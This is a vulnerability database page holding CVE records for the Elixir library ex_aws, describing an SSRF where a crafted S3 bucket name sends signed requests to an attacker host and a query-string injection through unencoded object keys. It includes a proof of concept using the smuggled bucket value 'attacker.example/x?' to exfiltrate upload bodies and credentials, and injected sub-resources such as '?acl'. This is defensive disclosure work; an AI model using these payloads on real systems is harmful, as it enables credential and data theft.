Search
Find a vulnerability
Search criteria
8 vulnerabilities found for ex_aws by ex-aws
CVE-2026-120720 (GCVE-0-2026-120720)
Vulnerability from nvd – Published: 2026-11-24 12:17 – Updated: 2026-11-24 12:17
VLAI
EPSS
VEX
Title
S3 bucket name controls the request host in ex_aws virtual-host requests
Summary
Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.
With virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.
This issue affects ex_aws: from 2.1.7 before 2.8.0.
Severity
CWE
- CWE-918 - Server-Side Request Forgery
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-120720.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-120720 | related |
| https://github.com/ex-aws/ex_aws/commit/557d3438a… | related |
| https://github.com/ex-aws/ex_aws/commit/a878943be… | patch |
Impacted products
Date Public
2026-11-24 12:17
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.7",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "a878943be6def16ffbee6bb9e11d90db1dc904f8",
"status": "affected",
"version": "557d3438a7e739a25c1ccc1876a5b636793f20ba",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eReachable only when the S3 client is configured with \u003ccode\u003evirtual_host: true\u003c/code\u003e and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Reachable only when the S3 client is configured with `virtual_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."
}
],
"value": "Reachable only when the S3 client is configured with virtual_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"dateAssigned": "2026-11-24T12:04:08.000Z",
"datePublic": "2026-11-24T12:17:33.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eServer-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\u003c/p\u003e\n\u003cp\u003eWith \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/operation/s3.ex\u003c/code\u003e builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as \u003ccode\u003eattacker.example/x?\u003c/code\u003e turns the request URL into \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com/key\u003c/code\u003e, so the request is signed for and sent to \u003ccode\u003eattacker.example\u003c/code\u003e. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e the bucket is the whole hostname, so any valid hostname redirects the request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.7 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\n\nWith `virtual_host: true`, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as `attacker.example/x?` turns the request URL into `https://attacker.example/x?.s3.amazonaws.com/key`, so the request is signed for and sent to `attacker.example`. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With `bucket_as_host: true` the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\n\nWith virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-664",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "An attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."
}
],
"value": "An attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T12:17:35.415Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"name": "Virtual-host bucket name controls the request host in ExAws.Operation.S3.add_bucket_to_path/2",
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-rcv9-2jx2-63xh"
},
{
"name": "EEF CNA record for CVE-2026-120720",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-120720.html"
},
{
"name": "OSV record EEF-CVE-2026-120720",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-120720"
},
{
"name": "Introducing commit 557d343 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"
},
{
"name": "Fix commit a878943 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/a878943be6def16ffbee6bb9e11d90db1dc904f8"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eUpgrading rejects bucket names containing characters that can change the request host. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with \u003ccode\u003ebucket_as_host: true\u003c/code\u003e must also set the \u003ccode\u003ebucket_as_host_allowlist\u003c/code\u003e S3 config option to the list of trusted hostnames.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Upgrading rejects bucket names containing characters that can change the request host. With `bucket_as_host: true`, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with `bucket_as_host: true` must also set the `bucket_as_host_allowlist` S3 config option to the list of trusted hostnames."
}
],
"value": "Upgrading rejects bucket names containing characters that can change the request host. With bucket_as_host: true, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with bucket_as_host: true must also set the bucket_as_host_allowlist S3 config option to the list of trusted hostnames."
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "S3 bucket name controls the request host in ex_aws virtual-host requests",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eConfigure ex_aws for S3 with \u003ccode\u003evirtual_host: true\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eBuild an upload with an attacker-chosen bucket name: \u003ccode\u003eExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eadd_bucket_to_path/2\u003c/code\u003e sets the host to \u003ccode\u003eattacker.example/x?.s3.amazonaws.com\u003c/code\u003e, and \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e renders \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com/report.pdf\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eExAws.Auth\u003c/code\u003e signs the \u003ccode\u003ehost\u003c/code\u003e header as \u003ccode\u003eattacker.example\u003c/code\u003e, and hackney connects to \u003ccode\u003eattacker.example:443\u003c/code\u003e with path \u003ccode\u003e/x\u003c/code\u003e and query \u003ccode\u003e.s3.amazonaws.com/report.pdf\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eRunning the operation with \u003ccode\u003eExAws.request/2\u003c/code\u003e delivers the signed request, including the upload body and \u003ccode\u003eAuthorization\u003c/code\u003e header, to \u003ccode\u003eattacker.example\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. Configure ex_aws for S3 with `virtual_host: true`.\n2. Build an upload with an attacker-chosen bucket name: `ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)`.\n3. `add_bucket_to_path/2` sets the host to `attacker.example/x?.s3.amazonaws.com`, and `ExAws.Request.Url.build/2` renders `https://attacker.example/x?.s3.amazonaws.com/report.pdf`.\n4. `ExAws.Auth` signs the `host` header as `attacker.example`, and hackney connects to `attacker.example:443` with path `/x` and query `.s3.amazonaws.com/report.pdf`.\n5. Running the operation with `ExAws.request/2` delivers the signed request, including the upload body and `Authorization` header, to `attacker.example`."
}
],
"value": "* Configure ex_aws for S3 with virtual_host: true.\n* Build an upload with an attacker-chosen bucket name: ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body).\n* add_bucket_to_path/2 sets the host to attacker.example/x?.s3.amazonaws.com, and ExAws.Request.Url.build/2 renders https://attacker.example/x?.s3.amazonaws.com/report.pdf.\n* ExAws.Auth signs the host header as attacker.example, and hackney connects to attacker.example:443 with path /x and query .s3.amazonaws.com/report.pdf.\n* Running the operation with ExAws.request/2 delivers the signed request, including the upload body and Authorization header, to attacker.example."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Host construction.\u003c/strong\u003e In the \u003ccode\u003evirtual_host: true\u003c/code\u003e clause of \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e, the request host becomes \u003ccode\u003e\"#{bucket}.#{host}\"\u003c/code\u003e. In the \u003ccode\u003evirtual_host: true, bucket_as_host: true\u003c/code\u003e clause it becomes the bucket name itself. Neither clause checks the bucket name.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. URL rendering and re-parsing.\u003c/strong\u003e \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e places the host verbatim into a \u003ccode\u003e%URI{}\u003c/code\u003e and renders it with \u003ccode\u003eURI.to_string/1\u003c/code\u003e, which does not validate the host. Downstream code re-parses the string: \u003ccode\u003eExAws.Auth.headers/6\u003c/code\u003e signs \u003ccode\u003eURI.parse(url).authority\u003c/code\u003e, \u003ccode\u003eExAws.Request.Url.sanitize/2\u003c/code\u003e splits on the first \u003ccode\u003e?\u003c/code\u003e, and hackney\u0027s \u003ccode\u003eparse_url/1\u003c/code\u003e (or \u003ccode\u003eURI.parse/1\u003c/code\u003e for the Req adapter) resolves the host. For the bucket \u003ccode\u003eattacker.example/x?\u003c/code\u003e all of them see the host \u003ccode\u003eattacker.example\u003c/code\u003e, the path \u003ccode\u003e/x\u003c/code\u003e and the query \u003ccode\u003e.s3.amazonaws.com/key\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signed request to the attacker.\u003c/strong\u003e The HTTP adapter connects to \u003ccode\u003eattacker.example\u003c/code\u003e and sends the fully signed request: the object body on uploads, the \u003ccode\u003eAuthorization\u003c/code\u003e header with the access key id and SigV4 signature, and \u003ccode\u003ex-amz-security-token\u003c/code\u003e when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Host construction.** In the `virtual_host: true` clause of `ExAws.Operation.S3.add_bucket_to_path/2`, the request host becomes `\"#{bucket}.#{host}\"`. In the `virtual_host: true, bucket_as_host: true` clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n**2. URL rendering and re-parsing.** `ExAws.Request.Url.build/2` places the host verbatim into a `%URI{}` and renders it with `URI.to_string/1`, which does not validate the host. Downstream code re-parses the string: `ExAws.Auth.headers/6` signs `URI.parse(url).authority`, `ExAws.Request.Url.sanitize/2` splits on the first `?`, and hackney\u0027s `parse_url/1` (or `URI.parse/1` for the Req adapter) resolves the host. For the bucket `attacker.example/x?` all of them see the host `attacker.example`, the path `/x` and the query `.s3.amazonaws.com/key`.\n\n**3. Signed request to the attacker.** The HTTP adapter connects to `attacker.example` and sends the fully signed request: the object body on uploads, the `Authorization` header with the access key id and SigV4 signature, and `x-amz-security-token` when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS."
}
],
"value": "1. Host construction. In the virtual_host: true clause of ExAws.Operation.S3.add_bucket_to_path/2, the request host becomes \"#{bucket}.#{host}\". In the virtual_host: true, bucket_as_host: true clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n2. URL rendering and re-parsing. ExAws.Request.Url.build/2 places the host verbatim into a %URI{} and renders it with URI.to_string/1, which does not validate the host. Downstream code re-parses the string: ExAws.Auth.headers/6 signs URI.parse(url).authority, ExAws.Request.Url.sanitize/2 splits on the first ?, and hackney\u0027s parse_url/1 (or URI.parse/1 for the Req adapter) resolves the host. For the bucket attacker.example/x? all of them see the host attacker.example, the path /x and the query .s3.amazonaws.com/key.\n\n3. Signed request to the attacker. The HTTP adapter connects to attacker.example and sends the fully signed request: the object body on uploads, the Authorization header with the access key id and SigV4 signature, and x-amz-security-token when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-120720",
"datePublished": "2026-11-24T12:17:35.415Z",
"dateReserved": "2026-11-24T09:53:42.363Z",
"dateUpdated": "2026-11-24T12:17:35.415Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-62269 (GCVE-0-2026-62269)
Vulnerability from nvd – Published: 2026-11-24 11:40 – Updated: 2026-11-24 11:40
VLAI
EPSS
VEX
Title
S3 object key query-string injection and truncation via unencoded reserved characters in ex_aws
Summary
Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).
This vulnerability is associated with program files lib/ex_aws/request/url.ex and program routines ExAws.Request.Url.build/2, ExAws.Request.Url.sanitize/2 and ExAws.Request.Url.get_path/2.
ex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal ? in an object key survives unencoded: build/2 inserts the operation path verbatim and URI.to_string/1 emits it without encoding, and sanitize/2 then splits the flattened URL on the first ?, treating everything after it as the query string. Because the split runs before uri_encode is applied to the path, the ? is never neutralized, and the recovered query is re-inserted without any encoding.
An attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as ?acl, ?tagging or ?versions) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.
This issue affects ex_aws: from 2.1.2 before 2.8.0.
Severity
CWE
- CWE-116 - Improper Encoding or Escaping of Output
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-62269.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-62269 | related |
| https://github.com/ex-aws/ex_aws/commit/ecd51b196… | related |
| https://github.com/ex-aws/ex_aws/commit/963fcc094… | patch |
Impacted products
Date Public
2026-11-24 11:40
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Request.Url\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/request/url.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:build/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:sanitize/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:get_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.2",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Request.Url\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/request/url.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:build/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:sanitize/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:get_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "963fcc0948102608c6796959e7a0d84f37d84dce",
"status": "affected",
"version": "ecd51b1965909119ee597d6c0783334e30e59e58",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability is reachable only on the Amazon S3 request path (the code guarded by service \u003ccode\u003e\"s3\"\u003c/code\u003e), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability is reachable only on the Amazon S3 request path (the code guarded by service `\"s3\"`), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior."
}
],
"value": "The vulnerability is reachable only on the Amazon S3 request path (the code guarded by service \"s3\"), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:40:26.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eImproper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/request/url.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e, \u003ccode\u003eExAws.Request.Url.sanitize/2\u003c/code\u003e and \u003ccode\u003eExAws.Request.Url.get_path/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal \u003ccode\u003e?\u003c/code\u003e in an object key survives unencoded: \u003ccode\u003ebuild/2\u003c/code\u003e inserts the operation path verbatim and \u003ccode\u003eURI.to_string/1\u003c/code\u003e emits it without encoding, and \u003ccode\u003esanitize/2\u003c/code\u003e then splits the flattened URL on the first \u003ccode\u003e?\u003c/code\u003e, treating everything after it as the query string. Because the split runs before \u003ccode\u003euri_encode\u003c/code\u003e is applied to the path, the \u003ccode\u003e?\u003c/code\u003e is never neutralized, and the recovered query is re-inserted without any encoding.\u003c/p\u003e\n\u003cp\u003eAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as \u003ccode\u003e?acl\u003c/code\u003e, \u003ccode\u003e?tagging\u003c/code\u003e or \u003ccode\u003e?versions\u003c/code\u003e) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.2 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\n\nThis vulnerability is associated with program files `lib/ex_aws/request/url.ex` and program routines `ExAws.Request.Url.build/2`, `ExAws.Request.Url.sanitize/2` and `ExAws.Request.Url.get_path/2`.\n\nex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal `?` in an object key survives unencoded: `build/2` inserts the operation path verbatim and `URI.to_string/1` emits it without encoding, and `sanitize/2` then splits the flattened URL on the first `?`, treating everything after it as the query string. Because the split runs before `uri_encode` is applied to the path, the `?` is never neutralized, and the recovered query is re-inserted without any encoding.\n\nAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as `?acl`, `?tagging` or `?versions`) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\n\nThis issue affects ex_aws: from 2.1.2 before 2.8.0."
}
],
"value": "Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\n\nThis vulnerability is associated with program files lib/ex_aws/request/url.ex and program routines ExAws.Request.Url.build/2, ExAws.Request.Url.sanitize/2 and ExAws.Request.Url.get_path/2.\n\nex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal ? in an object key survives unencoded: build/2 inserts the operation path verbatim and URI.to_string/1 emits it without encoding, and sanitize/2 then splits the flattened URL on the first ?, treating everything after it as the query string. Because the split runs before uri_encode is applied to the path, the ? is never neutralized, and the recovered query is re-inserted without any encoding.\n\nAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as ?acl, ?tagging or ?versions) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\n\nThis issue affects ex_aws: from 2.1.2 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-137",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-137 Parameter Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-116",
"description": "CWE-116 Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:40:27.176Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-96q9-mcc7-hqj8"
},
{
"name": "EEF CNA record for CVE-2026-62269",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-62269.html"
},
{
"name": "OSV record EEF-CVE-2026-62269",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-62269"
},
{
"name": "Introducing commit ecd51b1 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/ecd51b1965909119ee597d6c0783334e30e59e58"
},
{
"name": "Fix commit 963fcc0 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/963fcc0948102608c6796959e7a0d84f37d84dce"
}
],
"source": {
"discovery": "EXTERNAL"
},
